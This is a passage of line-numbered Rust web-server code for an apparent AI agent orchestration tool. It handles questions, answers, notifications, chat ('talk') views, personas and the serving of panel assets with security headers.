7690 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7691 .into_iter()
7692 .map(|view| view.with_origin(&tasks, &talks, &watches))
7693 .collect(),
7694 ))
7695 })
7696 .await
7697}
7698
7699async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7701 blocking(move || {
7702 Ok(Json(question_views(
7703 ui.questions.list(),
7704 &ui.questions,
7705 || deputy_config(&ui.repo),
7706 )))
7707 })
7708 .await
7709}
7710
7711fn question_record_revision(question: &Question) -> String {
7712 use std::hash::{Hash as _, Hasher as _};
7713 let mut hash = std::hash::DefaultHasher::new();
7714 serde_json::to_vec(question)
7715 .expect("serializable question")
7716 .hash(&mut hash);
7717 format!("{:016x}", hash.finish())
7718}
7719
7720#[derive(Serialize)]
7721struct QuestionOriginView {
7722 id: String,
7723 record_revision: String,
7724 origin_chat: Option<String>,
7725 origin_chat_closed: bool,
7726 can_consult_chat: bool,
7727}
7728
7729async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7730 blocking(move || {
7731 let questions = ui.questions.list();
7732 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7733 Ok(Json(
7734 questions
7735 .into_iter()
7736 .map(|question| {
7737 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7738 let can_consult_chat = consult.is_some();
7739 let talk = crate::consult::associated_talk_with_watches(
7740 &tasks, &talks, &question, &watches,
7741 );
7742 QuestionOriginView {
7743 record_revision: question_record_revision(&question),
7744 id: question.id,
7745 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7746 origin_chat: talk.map(|talk| talk.id),
7747 can_consult_chat,
7748 }
7749 })
7750 .collect(),
7751 ))
7752 })
7753 .await
7754}
7755
7756type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7757
7758fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7762 fn task_for_run(
7763 ui: &Ui,
7764 index: &mut Option<Vec<Arc<TaskRelation>>>,
7765 run: &str,
7766 loaded: &HashMap<String, Task>,
7767 ) -> ApiResult<Option<Task>> {
7768 if !plain_record_id(run) {
7769 return Ok(None);
7770 }
7771 if index.is_none() {
7772 *index = Some(ui.indexed_tasks()?);
7773 }
7774 Ok(index
7775 .as_ref()
7776 .expect("loaded index")
7777 .iter()
7778 .find(|task| task.runs.iter().any(|id| id == run))
7779 .and_then(|task| {
7780 loaded
7781 .get(&task.id)
7782 .cloned()
7783 .or_else(|| ui.queue.get(&task.id).ok())
7784 })
7785 .filter(|task| task.runs.iter().any(|id| id == run)))
7786 }
7787 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7788 plain_record_id(id)
7789 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7790 .flatten()
7791 .filter(|task| task.id == id)
7792 };
7793 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7794 let mut index = None;
7795 let mut tasks = HashMap::new();
7796 let mut talks = HashMap::new();
7797 for question in questions {
7798 for reference in crate::consult::question_task_refs(question, &watches) {
7799 let mut current = match reference {
7800 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7801 crate::consult::QuestionTaskRef::Run(id) => {
7802 task_for_run(ui, &mut index, id, &tasks)?
7803 }
7804 };
7805 let mut seen = HashSet::new();
7806 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7807 let Some(task) = current.take() else {
7808 break;
7809 };
7810 if !seen.insert(task.id.clone()) {
7811 break;
7812 }
7813 let chat = task.chat_talk().map(str::to_owned);
7814 let followup = task.followup.clone();
7815 tasks.insert(task.id.clone(), task);
7816 if let Some(chat) = chat {
7817 if plain_record_id(&chat)
7818 && !talks.contains_key(&chat)
7819 && let Ok(talk) = ui.talks.get(&chat)
7820 {
7821 talks.insert(chat, talk);
7822 }
7823 break;
7824 }
7825 let Some(followup) = followup else {
7826 break;
7827 };
7828 current = match followup.origin_task {
7829 Some(id) => direct_task(&id, &tasks),
7830 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7831 };
7832 }
7833 }
7834 }
7835 let mut tasks: Vec<Task> = tasks.into_values().collect();
7836 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7837 Ok((tasks, talks.into_values().collect(), watches))
7838}
7839
7840async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7843 blocking(move || {
7844 let items = ui.notices.list();
7845 let unread = items.iter().filter(|n| n.unread()).count();
7846 let items: Vec<_> = items
7847 .into_iter()
7848 .map(|n| {
7849 let question = crate::notices::answerable_question(&n, &ui.questions);
7850 let mut item = serde_json::to_value(n)?;
7851 item["answerable_question"] = serde_json::json!(question);
7852 Ok(item)
7853 })
7854 .collect::<anyhow::Result<_>>()?;
7855 Ok(Json(
7856 serde_json::json!({ "unread": unread, "items": items }),
7857 ))
7858 })
7859 .await
7860}
7861
7862fn notice_error(e: anyhow::Error) -> ApiError {
7863 ApiError::not_found(format!("{e:#}"))
7866}
7867
7868async fn notification_read(
7870 State(ui): State<Arc<Ui>>,
7871 Path(id): Path<String>,
7872) -> ApiResult<Json<Notice>> {
7873 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7874}
7875
7876async fn notification_dismiss(
7878 State(ui): State<Arc<Ui>>,
7879 Path(id): Path<String>,
7880) -> ApiResult<Json<Notice>> {
7881 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7882}
7883
7884async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7886 blocking(move || {
7887 let changed = ui.notices.mark_all_read()?;
7888 Ok(Json(serde_json::json!({ "marked": changed })))
7889 })
7890 .await
7891}
7892
7893#[derive(Debug, Default, Deserialize)]
7899#[serde(default, deny_unknown_fields)]
7900struct NewAnswer {
7901 choice: Option<String>,
7902 text: Option<String>,
7903 talk: Option<String>,
7904 head: Option<String>,
7905}
7906
7907async fn question_answer(
7908 State(ui): State<Arc<Ui>>,
7909 Path(id): Path<String>,
7910 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7911) -> ApiResult<Json<QuestionView>> {
7912 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7913 let answer = match (body.choice, body.text) {
7914 (Some(c), None) => Answer::Choice(c),
7915 (None, Some(t)) => Answer::Text(t),
7916 (Some(_), Some(_)) => {
7917 return Err(ApiError::bad_request(
7918 "send either `choice` or `text`, not both",
7919 ));
7920 }
7921 (None, None) => {
7922 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7923 }
7924 };
7925
7926 blocking(move || {
7927 let id = resolve_question(&ui.questions, &id)?;
7928 let q = ui
7929 .questions
7930 .get(&id)
7931 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7932 if !q.status.open() {
7933 return Err(ApiError::conflict(format!(
7937 "question {} is already {}",
7938 q.short(),
7939 q.status.as_str()
7940 )));
7941 }
7942 let cfg = deputy_config(&ui.repo);
7946 let (q, ()) = ui
7947 .questions
7948 .update(&q.id, |r| {
7949 let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
7950 if r.routed_task.is_some()
7953 && r.merge_target.is_some()
7954 && merge
7955 && (body.talk.is_some() || body.head.is_some())
7956 {
7957 let talk_id = body
7958 .talk
7959 .as_deref()
7960 .context("approval button requires its chat")?;
7961 let head = body
7962 .head
7963 .as_deref()
7964 .context("approval button requires the displayed head")?;
7965 let talk = ui.talks.get(talk_id)?;
7966 anyhow::ensure!(talk.status.open(), "approval chat is closed");
7967 r.answer_chat_button(answer, talk_id, head)
7968 } else {
7969 r.answer(answer)
7970 }
7971 })
7972 .map_err(ApiError::bad_request_from)?;
7973 let (tasks, talks, watches) =
7974 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7975 Ok(Json(
7976 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7977 ))
7978 })
7979 .await
7980}
7981
7982fn question_text_error(e: anyhow::Error) -> ApiError {
7984 let reason = e
7985 .downcast_ref::<crate::question_delivery::TextUnavailable>()
7986 .map(|e| e.reason);
7987 let error = ApiError::bad_request_from(e);
7988 if let Some(reason) = reason {
7989 ApiError {
7990 text_reason: Some(reason),
7991 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7992 }
7993 } else {
7994 error
7995 }
7996}
7997
7998#[derive(Debug, Deserialize)]
8000#[serde(deny_unknown_fields)]
8001struct NewSay {
8002 body: String,
8003}
8004
8005async fn question_say(
8015 State(ui): State<Arc<Ui>>,
8016 Path(id): Path<String>,
8017 body: std::result::Result<Json<NewSay>, JsonRejection>,
8018) -> ApiResult<Json<QuestionView>> {
8019 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8020 blocking(move || {
8021 let id = resolve_question(&ui.questions, &id)?;
8022 let q = ui
8023 .questions
8024 .get(&id)
8025 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8026 if !q.status.open() {
8027 return Err(ApiError::conflict(format!(
8031 "question {} is already {}",
8032 q.short(),
8033 q.status.as_str()
8034 )));
8035 }
8036 let cfg = deputy_config(&ui.repo);
8039 let (q, ()) = ui
8040 .questions
8041 .update(&q.id, |r| {
8042 if body.body.trim().is_empty() {
8043 return r.say(body.body);
8044 }
8045 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8046 r.say(body.body)
8047 })
8048 .map_err(question_text_error)?;
8049 let (tasks, talks, watches) =
8050 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8051 Ok(Json(
8052 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8053 ))
8054 })
8055 .await
8056}
8057
8058async fn admitted<T: Send + 'static>(
8061 admission: AdmissionGuard,
8062 work: impl Future<Output = ApiResult<T>> + Send + 'static,
8063) -> ApiResult<T> {
8064 tokio::spawn(async move {
8065 let result = work.await;
8066 drop(admission);
8067 result
8068 })
8069 .await
8070 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8071}
8072
8073async fn question_consult(
8082 State(ui): State<Arc<Ui>>,
8083 Path(id): Path<String>,
8084) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8085 let admission = ui.begin_admission()?;
8086 admitted(admission, async move {
8087 let (q, tasks, talks, watches, talk, cfg) = blocking({
8088 let ui = Arc::clone(&ui);
8089 move || {
8090 let id = resolve_question(&ui.questions, &id)?;
8091 let q = ui.questions.get(&id).map_err(|e| {
8092 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8093 })?;
8094 if !q.status.open() {
8095 return Err(ApiError::conflict(format!(
8096 "question {} is already {}",
8097 q.short(),
8098 q.status.as_str()
8099 )));
8100 }
8101 let (tasks, talks, watches) =
8102 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8103 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8104 return Err(ApiError::conflict(format!(
8105 "question {} has no chat to ask",
8106 q.short()
8107 )));
8108 };
8109 let cfg = if q.consult.is_none() {
8113 Some(Config::discover(&talk.repo, None)?.0)
8114 } else {
8115 None
8116 };
8117 Ok((q, tasks, talks, watches, talk, cfg))
8118 }
8119 })
8120 .await?;
8121 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8122 .await
8123 .map_err(ApiError::from)?;
8124 let (view, reclaimed, submitted) = blocking({
8125 let ui = Arc::clone(&ui);
8126 move || {
8127 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8128 let claim = if fresh {
8129 match ui.begin_queued_talk_turn(&talk.id)? {
8130 Some(turn_guard) => {
8131 let talk = ui.talks.get(&talk.id)?;
8132 let cfg = match cfg {
8133 Some(cfg) => cfg,
8134 None => Config::discover(&talk.repo, None)?.0,
8135 };
8136 Some((talk, cfg, turn_guard))
8137 }
8138 None => None,
8139 }
8140 } else {
8141 None
8142 };
8143 let q = ui.questions.get(&q.id)?;
8144 let cfg = deputy_config(&ui.repo);
8145 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8146 .with_origin(&tasks, &talks, &watches);
8147 Ok((view, claim, fresh.then_some(talk.id)))
8148 }
8149 })
8150 .await?;
8151 #[cfg(not(test))]
8152 {
8153 if let Some(id) = submitted {
8154 crate::consult::spawn_turn(&ui.talks, &id)
8155 .await
8156 .map_err(ApiError::from)?;
8157 }
8158 drop(reclaimed);
8159 }
8160 #[cfg(test)]
8161 let _ = submitted;
8162 #[cfg(test)]
8163 if let Some((talk, cfg, turn_guard)) = reclaimed {
8164 let talks = ui.talks.clone();
8165 let id = talk.id.clone();
8166 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8167 }
8168 Ok((StatusCode::ACCEPTED, Json(view)))
8169 })
8170 .await
8171}
8172
8173fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8175 if plain_record_id(id) && store.path_of(id).is_file() {
8176 return Ok(id.to_owned());
8177 }
8178 pick(
8179 store.list().into_iter().map(|q| q.id).collect(),
8180 id,
8181 "question",
8182 )
8183}
8184
8185async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8200 blocking(move || {
8201 let id = resolve_question(&ui.questions, &id)?;
8202 let Some(html) = ui.questions.panel_html(&id) else {
8203 return Err(ApiError::not_found(format!("question {id} has no panel")));
8204 };
8205 Ok(panel_response(
8206 "text/html; charset=utf-8",
8207 false,
8208 html.into_bytes(),
8209 ))
8210 })
8211 .await
8212}
8213
8214async fn question_asset(
8242 State(ui): State<Arc<Ui>>,
8243 Path((id, name)): Path<(String, String)>,
8244) -> ApiResult<Response> {
8245 if !crate::ask::valid_asset_name(&name) {
8248 return Err(ApiError::bad_request(format!(
8249 "`{name}` is not a usable asset name"
8250 )));
8251 }
8252 blocking(move || {
8253 let id = resolve_question(&ui.questions, &id)?;
8254 let asset = ui
8255 .questions
8256 .panel_asset(&id, &name)
8257 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8258 let Some(bytes) = asset else {
8259 return Err(ApiError::not_found(format!(
8260 "question {id} has no asset `{name}`"
8261 )));
8262 };
8263 Ok(panel_response(
8264 asset_content_type(&name),
8265 is_svg(&name),
8266 bytes,
8267 ))
8268 })
8269 .await
8270}
8271
8272fn asset_content_type(name: &str) -> &'static str {
8285 match extension(name).as_deref() {
8286 Some("png") => "image/png",
8287 Some("jpg" | "jpeg") => "image/jpeg",
8288 Some("gif") => "image/gif",
8289 Some("webp") => "image/webp",
8290 Some("svg") => "image/svg+xml",
8291 Some("css") => "text/css; charset=utf-8",
8292 Some("txt") => "text/plain; charset=utf-8",
8293 _ => "application/octet-stream",
8294 }
8295}
8296
8297fn is_svg(name: &str) -> bool {
8300 extension(name).as_deref() == Some("svg")
8301}
8302
8303fn extension(name: &str) -> Option<String> {
8305 name.rsplit_once('.')
8306 .map(|(_, ext)| ext.to_ascii_lowercase())
8307}
8308
8309fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8326 let mut res = (
8327 [
8328 (header::CONTENT_TYPE, content_type),
8329 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8330 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8331 (header::REFERRER_POLICY, "no-referrer"),
8332 ],
8333 body,
8334 )
8335 .into_response();
8336 if download {
8337 res.headers_mut().insert(
8338 header::CONTENT_DISPOSITION,
8339 HeaderValue::from_static("attachment"),
8340 );
8341 }
8342 res
8343}
8344
8345#[derive(Debug, Serialize)]
8351struct ChatApproval {
8352 question: String,
8353 target: crate::merge_decision::Target,
8354}
8355
8356#[derive(Debug, Serialize)]
8357struct TalkView {
8358 #[serde(flatten)]
8359 talk: Talk,
8360 turn_bodies_md: Vec<Vec<md::Node>>,
8361 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8363 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8364 merge_approvals: Vec<ChatApproval>,
8365 thinking: bool,
8373 context: talk::ContextUsage,
8377 operator_name: Option<String>,
8380 persona_name: Option<String>,
8382 persona_avatar: String,
8385 operator_avatar: String,
8387 magi_avatar: String,
8388}
8389
8390impl TalkView {
8391 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8394 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8395 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8396 }
8397
8398 fn with_config(
8401 talk: Talk,
8402 thinking: bool,
8403 cfg: Option<&Config>,
8404 home: &FsPath,
8405 cache: &id_links::IndexCache,
8406 ) -> Self {
8407 let references = cache.for_talk(home, &talk);
8408 Self::with_references(talk, thinking, cfg, home, &references)
8409 }
8410
8411 fn with_references(
8412 mut talk: Talk,
8413 thinking: bool,
8414 cfg: Option<&Config>,
8415 home: &FsPath,
8416 references: &id_links::IdIndex,
8417 ) -> Self {
8418 let snapshot = talk.clone();
8420 for (index, turn) in talk.turns.iter_mut().enumerate() {
8421 let original = &snapshot.turns[index];
8422 if turn.messages.is_empty() {
8423 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8424 turn.messages.push(talk::Message {
8425 sender: Some(talk::Sender::Magi),
8426 body: original.body.clone(),
8427 display: Some(display),
8428 attachments: original.attachments.clone(),
8429 reply: None,
8430 });
8431 }
8432 } else {
8433 for (i, message) in turn.messages.iter_mut().enumerate() {
8434 message.display =
8435 talk::notice_display(&snapshot, original, original.messages.get(i));
8436 if message.display.is_some() {
8437 message.sender = Some(talk::Sender::Magi);
8438 }
8439 }
8440 }
8441 }
8442 for message in &mut talk.pending_messages {
8443 if message.display.is_none()
8444 && (message.sender == Some(talk::Sender::Magi)
8445 || snapshot
8446 .completion_notices
8447 .iter()
8448 .any(|r| r.notice == message.body))
8449 {
8450 message.display = crate::prompt::legacy_notice_display(&message.body);
8451 if message.display.is_some() {
8452 message.sender = Some(talk::Sender::Magi);
8453 }
8454 }
8455 }
8456 if talk.pending_messages.is_empty()
8457 && snapshot
8458 .completion_notices
8459 .iter()
8460 .any(|r| r.notice == talk.pending)
8461 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8462 {
8463 talk.pending_messages.push(talk::Message {
8464 sender: Some(talk::Sender::Magi),
8465 display: Some(display),
8466 body: talk.pending.clone(),
8467 attachments: talk.pending_attachments.clone(),
8468 reply: None,
8469 });
8470 }
8471 let excerpts: Vec<Vec<Option<String>>> = talk
8472 .turns
8473 .iter()
8474 .map(|turn| {
8475 turn.messages
8476 .iter()
8477 .map(|m| {
8478 m.display
8479 .as_ref()
8480 .map(|d| d.facts.chars().take(240).collect())
8481 })
8482 .collect()
8483 })
8484 .collect();
8485 for turn in &mut talk.turns {
8486 let provenance = talk::sender(turn, None);
8487 turn.sender = Some(provenance);
8488 for message in &mut turn.messages {
8489 message.sender = Some(message.sender.unwrap_or(provenance));
8490 }
8491 }
8492 let senders: Vec<Vec<talk::Sender>> = talk
8494 .turns
8495 .iter()
8496 .map(|turn| {
8497 if turn.messages.is_empty() {
8498 vec![talk::sender(turn, None)]
8499 } else {
8500 turn.messages
8501 .iter()
8502 .map(|m| talk::sender(turn, Some(m)))
8503 .collect()
8504 }
8505 })
8506 .collect();
8507 for reply in talk
8508 .turns
8509 .iter_mut()
8510 .flat_map(|t| t.messages.iter_mut())
8511 .chain(talk.pending_messages.iter_mut())
8512 .filter_map(|m| m.reply.as_mut())
8513 {
8514 if let Some(Some(excerpt)) = excerpts
8515 .get(reply.target.turn)
8516 .and_then(|ms| ms.get(reply.target.message))
8517 {
8518 reply.excerpt = excerpt.clone();
8519 reply.sender = Some(talk::Sender::Magi);
8520 }
8521 if reply.sender.is_none() {
8522 reply.sender = senders
8523 .get(reply.target.turn)
8524 .and_then(|messages| messages.get(reply.target.message))
8525 .copied();
8526 }
8527 }
8528 let context = talk::context_usage(&talk, cfg);
8529 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8530 .turns
8531 .iter()
8532 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8533 .collect();
8534 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8535 .turns
8536 .iter()
8537 .map(|turn| {
8538 if turn.messages.is_empty() {
8539 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8540 } else {
8541 turn.messages
8542 .iter()
8543 .map(|message| {
8544 notice_markdown(
8545 message.sender.unwrap_or(talk::Sender::Operator),
8546 &message.body,
8547 message.display.as_ref(),
8548 )
8549 })
8550 .collect()
8551 }
8552 })
8553 .collect();
8554 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8555 .pending_messages
8556 .iter()
8557 .map(|message| {
8558 notice_markdown(
8559 message.sender.unwrap_or(talk::Sender::Operator),
8560 &message.body,
8561 message.display.as_ref(),
8562 )
8563 })
8564 .collect();
8565 for nodes in &mut turn_bodies_md {
8566 references.markdown(nodes);
8567 }
8568 for nodes in turn_messages_md
8569 .iter_mut()
8570 .flatten()
8571 .chain(pending_messages_md.iter_mut())
8572 .flatten()
8573 {
8574 references.markdown(nodes);
8575 }
8576 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8577 let persona_name = persona::find(specs, &talk.persona)
8578 .filter(|p| !p.is_default())
8579 .map(|p| p.name);
8580 let mut avatar_persona = persona::find(specs, &talk.persona)
8581 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8582 if avatar_persona.id != talk.persona
8584 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8585 {
8586 avatar_persona.id.clone_from(&talk.persona);
8587 avatar_persona.icon = None;
8588 }
8589 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8590 let approvals_store = ask::Questions::at(home.join("questions"));
8591 let merge_approvals = talk
8592 .notified
8593 .iter()
8594 .filter_map(|key| key.strip_prefix("question:"))
8595 .filter_map(|id| approvals_store.get(id).ok())
8596 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8597 .filter_map(|q| {
8598 Some(ChatApproval {
8599 question: q.id,
8600 target: q.merge_target?,
8601 })
8602 })
8603 .collect();
8604 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8605 Self {
8606 turn_bodies_md,
8607 turn_messages_md,
8608 pending_messages_md,
8609 merge_approvals,
8610 thinking,
8611 context,
8612 operator_name,
8613 persona_name,
8614 persona_avatar,
8615 magi_avatar: magi_icon_url(home),
8616 operator_avatar: operator_icon_url(home),
8617 talk,
8618 }
8619 }
8620}
8621
8622fn notice_markdown(
8624 sender: talk::Sender,
8625 body: &str,
8626 display: Option<&crate::prompt::NoticeDisplay>,
8627) -> Option<Vec<md::Node>> {
8628 if sender != talk::Sender::Magi {
8629 return None;
8630 }
8631 let text = if let Some(display) = display {
8632 display.facts.as_str()
8633 } else {
8634 if crate::prompt::is_completion_notice(body)
8637 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8638 {
8639 return None;
8640 }
8641 body.strip_prefix("magi: ").unwrap_or(body)
8642 };
8643 Some(md::to_nodes(text, &md::ImageBase::None))
8644}
8645
8646#[derive(Debug, Serialize)]
8651struct TalkDetailView {
8652 #[serde(flatten)]
8653 view: TalkView,
8654 tasks: Vec<TaskView>,
8655 task_progress: TalkTaskProgress,
8656 roster: Vec<RosterEntry>,
8659 personas: Vec<PersonaEntry>,
8662}
8663
8664#[derive(Debug, Serialize)]
8666struct TalkTaskProgress {
8667 state: &'static str,
8668 total: usize,
8669 done: usize,
8670 counts: std::collections::BTreeMap<&'static str, usize>,
8671 unfinished_ids: Vec<String>,
8672}
8673
8674fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8675 let mut counts = std::collections::BTreeMap::from([
8676 ("queued", 0),
8677 ("running", 0),
8678 ("done", 0),
8679 ("failed", 0),
8680 ("held", 0),
8681 ("blocked", 0),
8682 ("parked", 0),
8683 ]);
8684 let mut unfinished_ids = Vec::new();
8685 for task in tasks {
8686 *counts.entry(task.status.as_str()).or_default() += 1;
8687 if task.status != TaskStatus::Done {
8688 unfinished_ids.push(task.id.clone());
8689 }
8690 }
8691 TalkTaskProgress {
8692 state: if tasks.is_empty() {
8693 "none"
8694 } else if unfinished_ids.is_empty() {
8695 "complete"
8696 } else {
8697 "incomplete"
8698 },
8699 total: tasks.len(),
8700 done: tasks.len() - unfinished_ids.len(),
8701 counts,
8702 unfinished_ids,
8703 }
8704}
8705
8706#[derive(Debug, Serialize)]
8708struct PersonaEntry {
8709 id: String,
8710 name: String,
8711 avatar: String,
8713}
8714
8715#[derive(Debug, Serialize)]
8717struct RosterEntry {
8718 id: String,
8719 kind: AgentKind,
8720 runnable: bool,
8722}
8723
8724async fn talks_list(
8726 State(ui): State<Arc<Ui>>,
8727 Query(q): Query<ListQuery>,
8728 headers: header::HeaderMap,
8729) -> ApiResult<Json<Vec<TalkListView>>> {
8730 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8731 let limit = q.limit.unwrap_or(50).min(50);
8732 let ids = if let Some(ids) = q.ids {
8733 ids.split(',')
8734 .filter(|id| plain_record_id(id))
8735 .take(limit)
8736 .map(str::to_owned)
8737 .collect()
8738 } else {
8739 page_ids(&ui, true, PageQuery::default())?
8740 .0
8741 .into_iter()
8742 .take(limit)
8743 .collect()
8744 };
8745 Ok(Json(talk_rows(&ui, ids, &headers)))
8746 })
8747 .await
8748}
8749
8750#[derive(Debug, Default, Deserialize)]
8755#[serde(default)]
8756struct NewTalk {
8757 agent: Option<String>,
8758 repo: Option<PathBuf>,
8759 preferred_agent: Option<serde_json::Value>,
8763 persona: Option<serde_json::Value>,
8764 implementers: Option<serde_json::Value>,
8765}
8766
8767async fn talk_post(
8770 State(ui): State<Arc<Ui>>,
8771 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8772) -> ApiResult<impl IntoResponse> {
8773 let body = match body {
8777 Ok(Json(body)) => body,
8778 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8779 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8780 };
8781 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8782 let cfg = config_for(&repo).await?;
8783 let view = blocking(move || {
8784 let preferred = talk::Preferred {
8785 agent: body
8786 .preferred_agent
8787 .as_ref()
8788 .and_then(|v| v.as_str())
8789 .map(str::to_owned),
8790 persona: body
8791 .persona
8792 .as_ref()
8793 .and_then(|v| v.as_str())
8794 .map(str::to_owned),
8795 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8796 };
8797 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8798 let thinking = ui.is_thinking(&talk.id);
8799 Ok(TalkView::new(talk, thinking, &ui))
8800 })
8801 .await?;
8802 Ok((StatusCode::CREATED, Json(view)))
8803}
8804
8805async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8807 blocking(move || {
8808 let id = resolve_talk(&ui.talks, &id)?;
8809 let talk = ui.talks.get(&id)?;
8810 let thinking = ui.is_thinking(&id);
8811 Ok(Json(TalkView::with_references(
8814 talk,
8815 thinking,
8816 None,
8817 &ui.home,
8818 &id_links::IdIndex::default(),
8819 )))
8820 })
8821 .await
8822}
8823
8824async fn talk_sections(
8825 State(ui): State<Arc<Ui>>,
8826 Path(id): Path<String>,
8827) -> ApiResult<Json<serde_json::Value>> {
8828 blocking(move || {
8829 let id = resolve_talk(&ui.talks, &id)?;
8830 let talk = ui.talks.get(&id)?;
8831 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8832 let task_progress = talk_task_progress(&tasks);
8833 let tasks: Vec<_> = tasks
8834 .into_iter()
8835 .map(|task| {
8836 serde_json::json!({
8837 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8838 })
8839 })
8840 .collect();
8841 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8842 let roster: Vec<_> = cfg
8843 .as_ref()
8844 .map(|cfg| {
8845 cfg.agents
8846 .iter()
8847 .map(|a| RosterEntry {
8848 id: a.id.clone(),
8849 kind: a.kind,
8850 runnable: agent::installed(a),
8851 })
8852 .collect()
8853 })
8854 .unwrap_or_default();
8855 let specs = cfg
8856 .as_ref()
8857 .map(|cfg| cfg.talk.personas.clone())
8858 .unwrap_or_default();
8859 let personas: Vec<_> = persona::catalog(&specs)
8860 .into_iter()
8861 .map(|p| PersonaEntry {
8862 avatar: avatar_url(&ui.home, &talk.id, &p),
8863 id: p.id,
8864 name: p.name,
8865 })
8866 .collect();
8867 let active_persona = persona::find(&specs, &talk.persona)
8868 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8869 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8870 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8871 Ok(Json(serde_json::json!({
8872 "tasks": tasks, "task_progress": task_progress,
8873 "roster": roster, "personas": personas,
8874 "context": talk::context_usage(&talk, cfg.as_ref()),
8875 "context_for": talk.updated_at,
8876 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8877 "persona_name": persona_name,
8878 "persona_avatar": persona_avatar,
8879 })))
8880 })
8881 .await
8882}
8883
8884async fn talk_detail(
8886 State(ui): State<Arc<Ui>>,
8887 Path(id): Path<String>,
8888) -> ApiResult<Json<TalkDetailView>> {
